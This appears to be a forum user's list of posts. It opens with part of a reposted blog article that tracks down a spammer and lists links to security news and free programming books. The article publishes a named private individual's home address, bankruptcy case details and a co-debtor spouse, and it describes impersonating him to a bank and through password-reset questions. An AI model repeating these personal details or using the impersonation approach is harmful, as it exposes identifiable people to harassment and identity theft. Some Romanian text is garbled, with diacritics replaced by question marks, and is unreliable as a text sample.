don’t think everyone should have access to it. SO. 91-40727 Ralph Steven Nicholas and [withheld (first & middle name)] Nicholas Case type: bk Chapter: 7 Asset: No Vol: v Judge: John C. Minahan Jr. Date filed: 05/08/1991 Date of last filing: 02/11/1993 Date terminated: 02/11/1993 Ok, so they did a joint bankruptcy in ’91 and it was discharged in ’93. I also have a list of their creditors.. no wonder they filed bankruptcy. Ouch. One other piece of information that this offers, is previous addresses and the last 4 digits of their social security numbers. Keep in mind, a lot of people use the last 4 digits of their social for pin numbers.. because most pin numbers are limited to 4 digits. Stupid. UPDATE: I’ve decided to X out the social security numbers because this post is starting to receive a ton of traffic and I’m not sure I want everyone visiting it to have this information. My intention of this article is not to make it easy to steal this guys identity.. it’s to point out a vulnerability. If you really want to find his social security number, lets just say.. it’s available via the internet. Debtor Ralph Steven Nicholas 6747 Crooked Creek Dr. Lincoln, NE 68516 SSN / ITIN: xxx-xx-xxxx Debtor [withheld (first & middle name)] Nicholas 6747 Crooked Creek Dr. Lincoln, NE 68516 SSN / ITIN: xxx-xx-xxxx Here’s something to really think about.. I was able to obtain all of the information in this post for 16 cents and by just using an email and IP address from a piece of spam. Family members, ages, schools, anniversary dates, marriage lengths, hobbies, interests, phone numbers, addresses, property records, property taxes, pictures of their house, pictures of them, pictures of their children and grandchildren, deeds on their house, bankruptcies, employment history, previous addresses, previous creditors, and bits of social security numbers. I’m pretty sure I’d be able to fake my way through one of those password reset forms.. you know, where you set up a “secret question” asking what your dogs name was, or where you went to school? Beyond that, I’m fairly confident that at this point, if I were to call his bank and pretend to be him, I could easily pass when they asked me personal questions. In closing.. you really need to pay close attention to what you’re posting on the internet. If I were a douche, I could ruin this guys life using this information. There are a lot of douches out there that are doing this type of stuff right now. Given an email address, phone number, or whatever, they build profiles on people which can be used to exploit them and steal identities. The other thing that I’ve actually fallen victim to, is the speed of Google’s spiders and the fact that they index Craigslist. Lets say you run a business.. Catholic Charities R Us and in this post, you include an email address, phone number, something. Lets say you also make a post, days, weeks, whatever, later looking for whores, or something. Both of those posts will come up when Googling for your phone number. Also, consider what you’re sending in this email. What if this guy had sent me an email trying to extort me, threaten me, whatever? I could turn this over to the authorities and they’d have their work cut out for them. Not to try to scare people too much, but think about single women in the dating scene. They make a post somewhere with their email address and someone comes across it and is able to determine the same amount of information about them as what I did above? What if that person was more interested in something other than identity theft? I think you get the idea.. essentially.. guard your personal information with your life. Never post your phone number on the internet (unless you’re using a proxy number, which is what I do), and make sure no personal information is associated with your email address before you go firing off emails to strangers. Sursa: Invasion of Privacy. | Attack Vector
  5. COMODO Internet Security 5 Pro – un an licenta GRATUITA By Radu FaraVirusi(com) on May 5, 2011 COMODO Internet Security 5 este un produs complet de securitate, care exceleaza la capitolul Firewall si protectie proactiva, blocand mereu 100% virusii in testele av-test.org. Versiunea Pro aduce in plus cateva elemente, fiind $49.99/an: Remote Security & System Support $500 Virus-Free Guarantee* $15,000 Identity Protection Coverage* Acum il puteti avea GRATUIT timp de un an printr-o promotie speciala, accesand link-ul de mai jos: http://download.comodo.com/cis/download/installs/1000/standalone/cispro_1year_installer.exe Sursa: http://www.faravirusi.com/2011/05/05/comodo-internet-security-5-pro-un-an-licenta-gratuita/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Intr-oLumePlinaDeVirusi+%28Intr-o+lume+PLINA+DE+VIRUSI...%29&utm_content=FaceBook
  6. Apple iOS 4.3.3 – gata cu spionajul pe telefoanele iPhone 05 mai 2011 | 15:26 Aurelian Mihai Apple iOS 4.3.3 este gata de download prin serviciul iTunes. Actualizarea remediaz? o problem? grav? legat? de modul în care dispozitivele Apple p?streaz? coordonatele loca?iilor vizitate de utilizatori de-a lungul timpului ?i gestioneaz? baza de date care con?ine toate aceste informa?ii. Dup? ce a stârnit un adev?rat scandal pentru modul grosolan în care compromite intimitatea utilizatorilor, l?sând practic la îndemâna oricui informa?ii pre?ioase despre obiceiurile ?i loca?iile vizitate de posesorii telefoanelor iPhone ?i teblete iPad 3G, Apple a implementat în sfâr?it un mecanism de protec?ie a arhivei care con?ine aceste informa?ii, bazat pe un sistem de criptare care împiedic? extragerea informa?iilor de c?tre persoane neautorizate. Mai mult decât atât, fi?ierul consolidated.db nu mai este copiat în calculator la fiecare sincronizare f?cut? prin iTunes, reducând ?i mai mult riscul de a l?sa în urm? informa?ii pre?ioase, stocate pe harddisk-ul unui calculator la care pot avea acces ?i alte persoare. Dac? alegem s? dezactiv?m complet func?ia Location Services, fi?ierul consolidated.db este ?ters din memoria telefonului, oprind complet înregistrarea de informa?ii care ar putea servi la stabilirea unui itinerariu cu toate loca?iile vizitate în ultima perioad? de posesorul telefonului iPhone sau tableta iPad 3G. Cea mai nou? versiune a sistemului de operare iOS con?ine ?i optimiz?ri pentru îmbun?t??irea autonomiei bateriei, aduse în urma problemelor semnalate de utilizatori înc? de la lansarea iOS 4. Sursa: Apple iOS 4.3.3
  7. Nytro

    CSS Basics

    CSS Basics You’ve heard the buzz about the seperation of style from content, but you are stuck in the world of nested tables and deprecated markup. If so, you have come to the right place! Using CSS to style your (X)HTML files, will benefit you and your visitors in many ways. Chapter 1 : Introduction to CSS Chapter 2 : CSS Syntax Chapter 3 : CSS Classes Chapter 4 : CSS IDs Chapter 5 : CSS Divisions Chapter 6 : CSS Spans Chapter 7 : CSS Margins Chapter 8 : CSS Padding Chapter 9 : CSS Text Properties Chapter 10 : CSS Font Properties Chapter 11 : CSS Anchors, Links and Pseudo Classes Chapter 12 : CSS Backgrounds Chapter 13 : CSS Borders Chapter 14 : CSS Lists Chapter 15 : CSS Width and Height Properties Chapter 16 : CSS Classification Chapter 17 : CSS Positioning Chapter 18 : CSS Pseudo Elements Download all chapters Download: http://www.cssbasics.com/full.pdf Online: http://www.cssbasics.com/
  8. Analysis of the Ext2fs structure Louis-Dominique Dubeau Introduction Blocks and Fragments Groups Superblock Group Descriptors Bitmaps Inodes Directories Allocation algorithms Error Handling Formulae Invariants File Invariants File System Invariants References Concept Index Online: http://www.nondot.org/sabre/os/files/FileSystems/ext2fs/
  9. Iptables-tutorial The aim of the iptables-tutorial is to explain iptables in a complete and simple way. The iptables-tutorial is currently rather stable, and contains information on all the currently available matches and targets (in kernel), as well as a couple of complete example scripts and explanations. It contains a complete section on iptables syntax, as well as other interesting commands such as iptables-save and iptables-restore. The tutorial was under heavy scrutiny and updating, as can be seen in the latest version of the tutorial. It was available in bookform from Lulu.com for a brief period of time. However due to too much technical problems and the time it took to correct all the “errors” according to Lulu, I decided it simply wasn’t worth it at the time (this might change at some point, but not likely). For example, I had a conversion error between different types of points leading to my pages being 0.03 inches too small on the height and 0.01 inches too small on the width, and because of that they refused to handle. Their way of handling this was to allow the book to be published, and then every once in a while when someone ordered a book (and paid for it), they all of a sudden cancelled the publication, sent me a note that they did so (not explaining why), and so forth. It took me 1-2 months of contact with their customer support to drag this simple “why” out of them, then another few weeks to actually find the reason for the problem. Then there was problems with the size of the cover (generated in their own webtools), etc. If you need help, you are better off by asking the netfilter mailing list which you can reach at netfilter at lists.netfilter.org. For more information on this, visit the netfilter mailinglist page. You may also contact the linuxsecurity mailing list at security-discuss AT linuxsecurity dotcom. Both are fairly large, and should be able to help you much much better than I can. Online full: http://www.frozentux.net/iptables-tutorial/iptables-tutorial.html Online capitole: http://www.frozentux.net/iptables-tutorial/chunkyhtml/ Sursa: Iptables-tutorial : Frozentux
  10. Crypto Handouts [DIR] Parent Directory - [ ] angluin-yale-tr243.pdf 12-Sep-2004 14:33 338K [ ] block-ciphers-handout.pdf 28-Sep-2004 21:22 399K [ ] classical-ciphers-handout.pdf 19-Sep-2004 18:34 3.7M [ ] cryptanalysis-handout.pdf 19-Sep-2004 18:56 611K [ ] digital-signatures-DETAILED-handout.pdf 24-Nov-2004 16:10 687K [ ] digital-signatures-handout.pdf 22-Nov-2004 15:27 289K [ ] hash-functions-handout.pdf 29-Sep-2004 15:46 297K [ ] interactive-proofs-handout.pdf 08-Dec-2004 14:58 200K [ ] intro-handout.pdf 08-Sep-2004 07:30 167K [ ] macs-handout.pdf 11-Oct-2004 15:30 750K [ ] number-theory-1-handout.pdf 18-Oct-2004 13:32 477K [ ] number-theory-2-handout.pdf 27-Oct-2004 15:07 486K [ ] one-way-functions-handout.pdf 30-Nov-2004 15:10 253K [ ] perfect-secrecy-handout.pdf 22-Sep-2004 15:22 148K [ ] pke-handout.pdf 29-Oct-2004 17:05 390K [ ] probabilistic-encryption-handout.pdf 11-Nov-2004 10:55 418K [ ] probability-handout.pdf 29-Sep-2004 12:17 287K [ ] pseudo-random-bit-generators-handouts.pdf 22-Nov-2004 15:22 82K [ ] quantum-crypto-handout.pdf 30-Nov-2004 15:46 396K Download: www1.cs.columbia.edu/~zeph/4261/handouts/
  11. Mai mult cu python... Oricum e destul de "popular".
  12. Posteaza link catre torrent, de preferat daca ai descarcat si sti ca e bun, nu e nicio problema.
  13. Alternativ: MEGAUPLOAD - The leading online storage and file delivery service
  14. Ethiopian multiplication A method of multiplying integers using only addition, doubling, and halving. Method: Take two numbers to be multiplied and write them down at the top of two columns. In the left-hand column repeatedly halve the last number, discarding any remainders, and write the result below the last in the same column, until you write a value of 1. In the right-hand column repeatedly double the last number and write the result below. stop when you add a result in the same row as where the left hand column shows 1. Examine the table produced and discard any row where the value in the right column is even. Sum the values in the right-hand column that remain to produce the result of multiplying the original two numbers together In fine, nu asta e ideea. Ideea e ca acest algoritm e scris intr-o gramada de limbaje. Asa puteti vedea cum arata un cod scris intr-o multitudine de limbaje si poate o sa va placa unul si o sa il invatati. Link: http://rosettacode.org/wiki/Ethiopian_Multiplication
  15. Version Control with Subversion The Standard in Open Source Version Control Version Control with Subversion Introduction This is the online home of Version Control with Subversion, a free book about Subversion, a new version control system designed to supplant CVS. As you may have guessed from the layout of this page, this book is published by O'Reilly Media. This is a place to read HTML and PDF versions of the book (although you can certainly buy a copy if you'd like to). We'll do our best to keep the site up-to-date. As Subversion development continues, the product will continue to grow new features, and we plan to continue documenting those changes. 2ND EDITION RELEASED: The second edition of Version Control with Subversion is now available for purchase! Order your physical copy today, or add the book to your virtual library using the Safari Books Online service. Download: http://svnbook.red-bean.com/en/1.5/svn-book.pdf Sursa: Version Control with Subversion
  16. The Scheme Programming Language Fourth Edition R. Kent Dybvig Illustrations by Jean-Pierre Hébert Table of Contents * Preface * Chapter 1. Introduction o Section 1.1. Scheme Syntax o Section 1.2. Scheme Naming Conventions o Section 1.3. Typographical and Notational Conventions * Chapter 2. Getting Started o Section 2.1. Interacting with Scheme o Section 2.2. Simple Expressions o Section 2.3. Evaluating Scheme Expressions o Section 2.4. Variables and Let Expressions o Section 2.5. Lambda Expressions o Section 2.6. Top-Level Definitions o Section 2.7. Conditional Expressions o Section 2.8. Simple Recursion o Section 2.9. Assignment * Chapter 3. Going Further o Section 3.1. Syntactic Extension o Section 3.2. More Recursion o Section 3.3. Continuations o Section 3.4. Continuation Passing Style o Section 3.5. Internal Definitions o Section 3.6. Libraries * Chapter 4. Procedures and Variable Bindings o Section 4.1. Variable References o Section 4.2. Lambda o Section 4.3. Case-Lambda o Section 4.4. Local Binding o Section 4.5. Multiple Values o Section 4.6. Variable Definitions o Section 4.7. Assignment * Chapter 5. Control Operations o Section 5.1. Procedure Application o Section 5.2. Sequencing o Section 5.3. Conditionals o Section 5.4. Recursion and Iteration o Section 5.5. Mapping and Folding o Section 5.6. Continuations o Section 5.7. Delayed Evaluation o Section 5.8. Multiple Values o Section 5.9. Eval * Chapter 6. Operations on Objects o Section 6.1. Constants and Quotation o Section 6.2. Generic Equivalence and Type Predicates o Section 6.3. Lists and Pairs o Section 6.4. Numbers o Section 6.5. Fixnums o Section 6.6. Flonums o Section 6.7. Characters o Section 6.8. Strings o Section 6.9. Vectors o Section 6.10. Bytevectors o Section 6.11. Symbols o Section 6.12. Booleans o Section 6.13. Hashtables o Section 6.14. Enumerations * Chapter 7. Input and Output o Section 7.1. Transcoders o Section 7.2. Opening Files o Section 7.3. Standard Ports o Section 7.4. String and Bytevector Ports o Section 7.5. Opening Custom Ports o Section 7.6. Port Operations o Section 7.7. Input Operations o Section 7.8. Output Operations o Section 7.9. Convenience I/O o Section 7.10. Filesystem Operations o Section 7.11. Bytevector/String Conversions * Chapter 8. Syntactic Extension o Section 8.1. Keyword Bindings o Section 8.2. Syntax-Rules Transformers o Section 8.3. Syntax-Case Transformers o Section 8.4. Examples * Chapter 9. Records o Section 9.1. Defining Records o Section 9.2. Procedural Interface o Section 9.3. Inspection * Chapter 10. Libraries and Top-Level Programs o Section 10.1. Standard Libraries o Section 10.2. Defining New Libraries o Section 10.3. Top-Level Programs o Section 10.4. Examples * Chapter 11. Exceptions and Conditions o Section 11.1. Raising and Handling Exceptions o Section 11.2. Defining Condition Types o Section 11.3. Standard Condition Types * Chapter 12. Extended Examples o Section 12.1. Matrix and Vector Multiplication o Section 12.2. Sorting o Section 12.3. A Set Constructor o Section 12.4. Word Frequency Counting o Section 12.5. Scheme Printer o Section 12.6. Formatted Output o Section 12.7. A Meta-Circular Interpreter for Scheme o Section 12.8. Defining Abstract Objects o Section 12.9. Fast Fourier Transform o Section 12.10. A Unification Algorithm o Section 12.11. Multitasking with Engines * References * Answers to Selected Exercises * Formal Syntax * Summary of Forms * Index Online: http://www.scheme.com/tspl4/
  17. Programming Scala Dean Wampler Object Mentor, Inc. <dean@deanwampler.com> Alex Payne Twitter, Inc. <alex@al3x.net> Copyright © 2008 O’Reilly Media This work has been released under the Creative Commons Attribution-Noncommercial. Abstract Programming Scala introduces an exciting new language that offers all the benefits of a modern object model, functional programming, and an advanced type system. Packed with code examples, this comprehensive book teaches you how to be productive with Scala quickly, and explains what makes this language ideal for today's highly scalable, component-based applications that support concurrency and distribution. You'll also learn the advantages that Scala offers as a language for the Java Virtual Machine. Learn more at programmingscala.com or at the book's catalog page. Preface Welcome to Programming Scala Conventions Used in This Book Using Code Examples Getting the Code Examples Safari® Books Online How to Contact Us Acknowledgements 1. Zero to Sixty: Introducing Scala Why Scala? If You Are a Java Programmer… If You Are a Ruby, Python, etc. Programmer… Introducing Scala The Seductions of Scala Installing Scala For More Information A Taste of Scala A Taste of Concurrency Recap and What’s Next 2. Type Less, Do More In This Chapter Semicolons Variable Declarations Method Declarations Method Default and Named Arguments (Scala Version 2.8) Nesting Method Definitions Inferring Type Information Literals Integer Literals Floating Point Literals Boolean Literals Character Literals String Literals Symbol Literals Tuples Option, Some, and None: Avoiding nulls Organizing Code in Files and Namespaces Importing Types and Their Members Imports are Relative Abstract Types And Parameterized Types Reserved Words Recap and What’s Next 3. Rounding Out the Essentials Operator? Operator? Syntactic Sugar Methods Without Parentheses and Dots Precedence Rules Domain-Specific Languages Scala if Statements Scala for Comprehensions A Dog-Simple Example Filtering Yielding Expanded Scope Other Looping Constructs Scala while Loops Scala do-while Loops Generator Expressions Conditional Operators Pattern Matching A Simple Match Variables in Matches Matching on Type Matching on Sequences Matching on Tuples (and Guards) Matching on Case Classes Matching on Regular Expressions Binding Nested Variables in Case Clauses Using try, catch, and finally Clauses Concluding Remarks on Pattern Matching Enumerations Recap and What’s Next 4. Traits Introducing Traits Traits as Mixins Stackable Traits Constructing Traits Class or Trait? Recap and What’s Next 5. Basic Object-Oriented Programming in Scala Class and Object Basics Parent Classes Constructors in Scala Calling Parent Class Constructors Nested Classes Visibility Rules Public Visibility Protected Visibility Private Visibility Scoped Private and Protected Visibility Final Thoughts on Visibility Recap and What’s Next 6. Advanced Object-Oriented Programming In Scala Overriding Members of Classes and Traits Attempting to Override final Declarations Overriding Abstract and Concrete Methods Overriding Abstract and Concrete Fields Overriding Abstract and Concrete Fields in Traits Overriding Abstract and Concrete Fields in Classes Overriding Abstract Types When Accessor Methods and Fields Are Indistinguishable: The Uniform Access Principle Companion Objects Apply Unapply Apply and UnapplySeq for Collections Companion Objects and Java Static Methods Case Classes Syntactic Sugar for Binary Operations The copy Method in Scala Version 2.8 Case Class Inheritance Equality of Objects The equals Method The == and != Methods The ne and eq Methods Array Equality and the sameElements Method Recap and What’s Next 7. The Scala Object System The Predef Object Classes and Objects: Where Are the Statics? Package Objects Sealed Class Hierarchies The Scala Type Hierarchy Linearization of an Object’s Hierarchy Recap and What’s Next 8. Functional Programming in Scala What Is Functional Programming? Functions in Mathematics Variables that Aren’t Functional Programming in Scala Function Literals and Closures Purity Inside vs. Outside Recursion Tail Calls and Tail-Call Optimization Trampoline for Tail Calls Functional Data Structures Lists in Functional Programming Maps in Functional Programming Sets in Functional Programming Other Data Structures in Functional Programming Traversing, Mapping, Filtering, Folding, and Reducing Traversal Mapping Filtering Folding and Reducing Functional Options Pattern Matching Partial Functions Currying Implicits Implicit Conversions Implicit Function Parameters Final Thoughts on Implicits Call by Name, Call by Value Lazy Vals Recap: Functional Component Abstractions 9. Robust, Scalable Concurrency with Actors The Problems of Shared, Synchronized State Actors Actors in Abstract Actors in Scala Sending Messages to Actors The Mailbox Actors in Depth Effective Actors Traditional Concurrency in Scala: Threading and Events One-Off Threads Using java.util.concurrent Events Recap and What’s Next 10. Herding XML in Scala Reading XML Exploring XML Looping & Matching XML Writing XML A Real-World Example Recap and What’s Next 11. Domain-Specific Languages in Scala Internal DSLs A Payroll Internal DSL Infix Operator Notation Implicit Conversions and User Defined Types Apply Methods Payroll Rules DSL Implementation Internal DSLs: Final Thoughts External DSLs with Parser Combinators About Parser Combinators A Payroll External DSL A Scala Implementation of the External DSL Grammar Generating Paychecks with the External DSL Internal vs. External DSLs: Final Thoughts Recap and What’s Next 12. The Scala Type System Reflecting on Types Understanding Parameterized Types Manifests Parameterized Methods Variance Under Inheritance Variance of Mutable Types Variance In Scala vs. Java Implementation Notes Type Bounds Upper Type Bounds Lower Type Bounds A Closer Look at Lists Views and View Bounds Nothing and Null Understanding Abstract Types Parameterized Types vs. Abstract Types Path-Dependent Types C.this C.super path.x Value Types Type Designators Tuples Parameterized Types Annotated Types Compound Types Infix Types Function Types Type Projections Singleton Types Self Type Annotations Structural Types Existential Types Infinite Data Structures and Laziness Recap and What’s Next 13. Application Design Annotations Enumerations vs. Pattern Matching Thoughts On Annotations and Enumerations Enumerations vs. Case Classes and Pattern Matching Using Nulls vs. Options Options and For Comprehensions Exceptions and the Alternatives Scalable Abstractions Fine-Grained Visibility Rules Mixin Composition Self-Type Annotations and Abstract Type Members Effective Design of Traits Design Patterns The Visitor Pattern: A Better Alternative Dependency Injection in Scala: The Cake Pattern Better Design with Design By Contract Recap and What’s Next 14. Scala Tools, Libraries and IDE Support Command Line Tools scalac Command Line Tool The scala Command Line Tool The scalap, javap, and jad Command Line Tools The scaladoc Command Line Tool The sbaz Command Line Tool The fsc Command Line Tool Build Tools Integration with IDEs Eclipse IntelliJ NetBeans Text Editors Test-Driven Development in Scala ScalaTest Specs ScalaCheck Other Notable Scala Libraries and Tools Lift Scalaz Scalax MetaScala JavaRebel Miscellaneous Smaller Libraries Java Interoperability Java and Scala Generics Using Scala Functions in Java JavaBean Properties AnyVal Types and Java Primitives Scala Names in Java Code Java Library Interoperability AspectJ The Spring Framework Terracotta Hadoop Recap and What’s Next Glossary A. References Index Online: http://programming-scala.labs.oreilly.com/index.html
  18. Ruby Best Practices We can all write better Ruby code Though we don't like to admit it, all hackers churn out bad code from time to time. But most coders worth their salt also have it in them to produce software that is truly elegant without sacrificing practicality. Because we value our craft, its important to know the difference between code that is agile, and code that is fragile. Ruby Best Practices aims to help Ruby developers from a wide range of skill levels improve their fundamental understanding of the language via exposure to the common practices and idioms that many seasoned Rubyists take for granted. With a strong emphasis on exploring real codebases, and an understanding that beautiful solutions depend heavily on context, this book lays out a clear road map to Ruby mastery for those who wish to pursue it. Download: http://sandal.github.com/rbp-book/pdfs/rbp_1-0.pdf Sursa: Ruby Best Practices - Book
  19. Programming Ruby The Pragmatic Programmer's Guide Preface This book is a tutorial and reference for the Ruby programming language. Use Ruby, and you'll write better code, be more productive, and enjoy programming more. These are bold claims, but we think that after reading this book you'll agree with them. And we have the experience to back up this belief. As Pragmatic Programmers we've tried many, many languages in our search for tools to make our lives easier, for tools to help us do our jobs better. Until now, though, we'd always been frustrated by the languages we were using. Our job is to solve problems, not spoonfeed compilers, so we like dynamic languages that adapt to us, without arbitrary, rigid rules. We need clarity so we can communicate using our code. We value conciseness and the ability to express a requirement in code accurately and efficiently. The less code we write, the less that can go wrong. (And our wrists and fingers are thankful, too.) We want to be as productive as possible, so we want our code to run the first time; time spent in the debugger is time stolen from the development clock. It also helps if we can try out code as we edit it; if you have to wait for a 2-hour make cycle, you may as well be using punch cards and submitting your work for batch compilation. We want a language that works at a high level of abstraction. The higher level the language, the less time we spend translating our requirements into code. When we discovered Ruby, we realized that we'd found what we'd been looking for. More than any other language with which we have worked, Ruby stays out of your way. You can concentrate on solving the problem at hand, instead of struggling with compiler and language issues. That's how it can help you become a better programmer: by giving you the chance to spend your time creating solutions for your users, not for the compiler. Online: http://www.ruby-doc.org/docs/ProgrammingRuby/
  20. Learn Python The Hard Way This is the site for the book "Learn Python The Hard Way". The book is a very beginner book for people who want to learn to code. If you can already code then the book will probably drive you insane. It's intended for people who have no coding chops to build up their skills before starting a more detailed book. About The Book The book is very simple: * 52 exercises in all. * 26 cover just input/output, variables, and functions. * 26 cover logic (boolean algebra, if-statements, while-loops, etc.) Each exercise is one or two pages and follows the exact same format. You type each one in (no copy-paste!), make it run, do the extra credit, and then move on. If you get stuck, at least type it in and skip the extra credit for later. Download: http://learnpythonthehardway.org/static/LearnPythonTheHardWay.pdf
  21. Python for Fun Purpose of this Collection This collection is a presentation of several small Python programs. They are aimed at intermediate programmers; people who have studied Python and are fairly comfortable with basic recursion and object oriented techniques. Each program is very short, never more than a couple of pages and accompanied with a write-up. I have found Python to be an excellent language to express algorithms clearly. Some of the ideas here originated in other programs in other languages. But in most cases I developed code from scratch from just an outline of an idea. However "Lisp in Python" was almost a translation exercise from John McCarthy's original "Evalquote in Lisp". From many years of programming these are some of my favorite programs. I hope you enjoy them as much as I do. I look forward to hearing from readers, especially folks with suggestions for improvements, ideas for new projects, or people who are doing similar things. You can email me at mailme.html Many thanks to Paul Carduner and Jeff Elkner for their work on this page, especially for Paul's graphic of "Psyltherin" (apologies to Harry Potter) and to the Twisted developement team for their Lore documentation generator to which all the other web pages in this collection have been recently adapted. Chris Meyers The Collection Items with a "*" have been recently added or updated * A Simple Video Game * Queues, Trees and Water Buckets * Towers of Hanoi * Animal Trees * Building a GUI with Tkinter * Using SQL with the GUI * Building a GUI with wxPython * Erlang for Python Programmers * * Erlang Concurrency: Logic Circuits revisted * * Forth in Python * * Lisp in Python * Prolog in Python (Introduction) * * Prolog in Python (Part 1) * * Prolog in Python (Part 2) * * Prolog in Python (Part 3) * * Squeezing Bits. Huffman Data Compression * * Natural Language Processing * Classic AI. Semantic Information Retrival * Unicode support in Python * Logic Circuits * Logic Circuits (more) * Simulator for Toy Computer * Assembler for Toy Computer * Compiler for Toy Computer * Using SQL with Python * Waves and Harmonics * Online: http://www.openbookproject.net/py4fun/
  22. Nytro

    Think Python

    Think Python How to Think Like a Computer Scientist Version 1.1.24 Allen Downey Green Tea Press Needham, Massachusetts Download: http://www.greenteapress.com/thinkpython/thinkpython.pdf
  23. Practical PostgreSQL John Worsley Command Prompt, Inc. Joshua Drake Command Prompt, Inc. Edited by Andrew Brookins Michael Holloway Copyright © 2001-2002 by Commandprompt, Inc Copyright © 2001 by Command Prompt, Inc. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.0 or later (the latest version is presently available at http://www.opencontent.org/openpub/). 'Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder.' to the license reference or copy. 'Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.' to the license reference or copy. Although every reasonable effort has been made to incorporate accurate and useful information into this book, the copyright holders make no representation about the suitability of this book or the information therein for any purpose. It is provided "as is" without expressed or implied warranty. Table of Contents Preface Who Is the Intended Audience? Structure of This Book Platform and Version Used What Is Included on the CD? Conventions Used in This Book Acknowledgments Comments and Questions I. Introduction and Installation 1. What is PostgreSQL? Open Source Free Version PostgreSQL Feature Set Where to Proceed from Here 2. Installing PostgreSQL Preparing for Installation 10 Steps to Installing PostgreSQL II. Using PostgreSQL 3. Understanding SQL Introduction to SQL Introduction to Relational Databases SQL Statements Data Types Tables in PostgreSQL 4. Using SQL with PostgreSQL Introduction to psql Using Tables Adding Data with INSERT and COPY Retrieving Rows with SELECT Modifying Rows with UPDATE Removing Rows with DELETE Using Sub-Queries Using Views Further SQL Application 5. Operators and Functions Operators Functions 6. PostgreSQL Clients The psql Client: Advanced Topics PgAccess: A Graphical Client 7. Advanced Features Indices Advanced Table Techniques Arrays Automating Common Routines Transactions and Cursors Extending PostgreSQL III. Administrating PostgreSQL 8. Authentication and Encryption Client Authentication Encrypting sessions 9. Database Management Starting and Stopping PostgreSQL Initializing the Filesystem Creating and Removing a Database Maintaining a Database Backing Up and Restoring Data 10. User and Group Management Managing Users Managing Groups Granting Privileges IV. Programming with PostgreSQL 11. PL/pgSQL Adding PL/pgSQL to your Database Language Structure Using Variables Controlling Program Flow PL/pgSQL and Triggers 12. JDBC Building the PostgreSQL JDBC Driver Using the PostgreSQL Driver Using JDBC Issues Specific to PostgreSQL and JDBC 13. LXP Why Use LXP? Core Features Installing and Configuring LXP Understanding LXP Mark-Up LXP Variables and Objects Using Cookies with LXP Tag Parsing Branching Logic Loop Iteration Content Inclusion Displaying Foreign Tags with <xtag> V. PostgreSQL Command Reference 14. PostgreSQL Command Reference ABORT -- Rolls back changes made during a transaction block. ALTER GROUP -- Modifies the structure of a user group. ALTER TABLE -- Modifies table and column attributes. ALTER USER -- Modifies user properties and permissions. BEGIN -- Starts a chained-mode transaction block. CLOSE -- Closes a previously defined cursor object. CLUSTER -- Provides the backend server with clustering information about a table. COMMENT -- Adds a comment to an object within the database. COMMIT -- Ends the current transaction block and finalizes changes made within it. COPY -- Copies data between files and tables. CREATE AGGREGATE -- Defines a new aggregate function within the database. CREATE DATABASE -- Creates a new database in PostgreSQL. CREATE FUNCTION -- Defines a new function within the database. CREATE GROUP -- Creates a new PostgreSQL group within the database. CREATE INDEX -- Places an index on a table. CREATE LANGUAGE -- Defines a new language to be used by functions. CREATE OPERATOR -- Defines a new operator within the database. CREATE RULE -- Defines a new rule on a table. CREATE SEQUENCE -- Creates a new sequence number generator. CREATE TABLE -- Creates a new table. CREATE TABLE AS -- Creates a new table built from data retrieved by a SELECT. CREATE TRIGGER -- Creates a new trigger. CREATE TYPE -- Defines a new data type for use in the database. CREATE USER -- Creates a new PostgreSQL database user. CREATE VIEW -- Creates a view on a table. CURRENT_DATE -- Returns the current date. CURRENT_TIME -- Returns the current time. CURRENT_TIMESTAMP -- Returns the current date and time. CURRENT_USER -- Returns the current database username. DECLARE -- Defines a new cursor. DELETE -- Removes rows from a table. DROP AGGREGATE -- Removes an aggregate function from a database. DROP DATABASE -- Removes a database from the system. DROP FUNCTION -- Removes a user-defined function. DROP GROUP -- Removes a user group from the database. DROP INDEX -- Removes an index from a database. DROP LANGUAGE -- Removes a procedural language from a database. DROP OPERATOR -- Removes an operator from the database. DROP RULE -- Removes a rule from a database. DROP SEQUENCE -- Removes a sequence from a database. DROP TABLE -- Removes a table from a database. DROP TRIGGER -- Removes a trigger definition from a database. DROP TYPE -- Removes a type from the system catalogs. DROP USER -- Removes a PostgreSQL user. DROP VIEW -- Removes an existing view from a database. END -- Ends the current transaction block and finalizes its modifications. EXPLAIN -- Shows the statement execution plan for a supplied query. FETCH -- Retrieves rows from a cursor. GRANT -- Grants access privileges to a user, a group, or to all users in the database. INSERT -- Inserts new rows into a table. LISTEN -- Listen for a notification event. LOAD -- Dynamically loads object files into a database. LOCK -- Locks a table within a transaction. MOVE -- Repositions a cursor to another row. NOTIFY -- Signals all backends that are listening for the specified notify event. REINDEX -- Rebuilds indices on tables. RESET -- Restores runtime variables to their default settings. REVOKE -- Revokes access privileges from a user, a group, or all users. ROLLBACK -- Aborts the current transaction block and abandons any modifications it would have made. SELECT -- Retrieves rows from a table or view. SELECT INTO -- Construct a new table from the results of a SELECT. SET -- Set runtime variables. SET CONSTRAINTS -- Sets the constraint mode for the current transaction block. SET TRANSACTION -- Sets the transaction isolation level for the current transaction block. SHOW -- Displays the values of runtime variables. TRUNCATE -- Empties the contents of a table. UNLISTEN -- Stops the backend process from listening for a notification event. UPDATE -- Modifies the values of column data within a table. VACUUM -- Cleans and analyzes a database. VI. Appendixes A. Multibyte Encoding Types B. Backend Options for postgres C. Binary COPY Format The Header Tuples Trailer D. Internal psql Variables Online: http://www.commandprompt.com/ppbook/
  24. Learn Prolog Now Learn Prolog Now! is an introductory course to programming in Prolog. The online version has been available since 2001, and now there is also a throughly revised version available in book form. We wanted to do two things with this course. First, we wanted to provide a text that was relatively self contained, a text that would permit someone with little or no knowledge of computing to pick up the basics of Prolog with the minimum of fuss. We also wanted the text to be clear enough to make it useful for self study. We believe that if you read the text, and do the associated exercises, you will gain a useful partial entry to the world of Prolog. But only a partial entry, and this brings us to our second point. We want to emphasize the practical aspects of Prolog. Prolog is something you do. You can't learn a programming language simply by reading about it, and if you really want to get the most out of this course, we strongly advise you to get hold of a Prolog interpreter (you'll find pointers to some nice ones on this website) and work through all the Practical Sessions that we provide. And of course, don't stop with what we provide. The more you program, the better you'll get.... We hope you enjoy the course. And whether you're using this book to teach yourself Prolog, or you're using it as the basis for teaching others, we would like to hear from you. Please send us any comments/corrections you have so that we can take them into account in later versions. Patrick Blackburn, Johan Bos and Kristina Striegnitz * Table of Contents * 1 Facts, Rules, and Queries * 2 Matching and Proof Search * 3 Recursion * 4 Lists * 5 Arithmetic * 6 More Lists * 7 Definite 